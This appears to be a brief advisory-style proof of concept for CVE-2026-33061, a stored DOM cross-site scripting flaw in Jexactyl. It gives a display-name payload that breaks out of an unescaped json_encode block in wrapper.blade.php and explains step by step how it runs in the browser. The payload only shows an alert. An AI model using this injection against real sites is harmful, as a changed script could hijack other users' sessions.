CVE-2026-33061 Jexactyl 存储型DOM XSS漏洞

// Payload to inject into a user-controlled field (e.g., username or display name) // The application uses {!! json_encode($user) !!} in wrapper.blade.php // This payload breaks out of the JSON string context in the browser. const maliciousUsername = "</script><script>alert('CVE-2026-33061 XSS');</script>"; // Explanation: // 1. The attacker sets their display name to the string above. // 2. The server stores it in the database. // 3. When the page renders, the output becomes: var user = {"name": "</script><script>alert('CVE-2026-33061 XSS');</script>"}; // 4. The browser sees the closing </script> tag, ends the current script block, // and immediately executes the new script block containing the alert.